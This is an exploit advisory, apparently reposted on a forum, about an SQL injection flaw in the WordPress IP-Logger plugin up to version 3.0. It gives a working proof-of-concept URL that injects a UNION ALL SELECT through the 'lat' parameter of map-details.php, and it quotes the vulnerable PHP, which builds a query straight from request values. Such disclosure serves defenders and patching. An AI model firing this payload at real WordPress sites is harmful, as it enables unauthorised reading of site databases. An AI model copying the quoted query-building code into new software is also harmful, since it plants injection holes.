WordPress IP-Logger Plugin <= 3.0 SQL Injection Vulnerability

[LLegoLLaS]

# Exploit Title: WordPress IP-Logger plugin <= 3.0 SQL Injection Vulnerability

# Date: 2011-08-16

# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)

# Software Link: http://downloads.wordpress.org/plugin/ip-logger.3.0.zip

# Version: 3.0 (tested)

PoC:

http://www.site.com/wp-content/plugins/ip-logger/map-details.php?lat=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20&lon=-1&blocked=-1

Vulnerable code:

$sql = sprintf("select stamp,ip_v4,url,user_agent,Provider,Code3,Country,Blocked,Ignored from $table_name
where Latitude=%s and Longitude=%s and Blocked = '%s'
order by stamp asc limit 50",
$_REQUEST["lat"],
$_REQUEST["lon"],
$_REQUEST["blocked"]);

$res = mysql_query($sql);

Sursa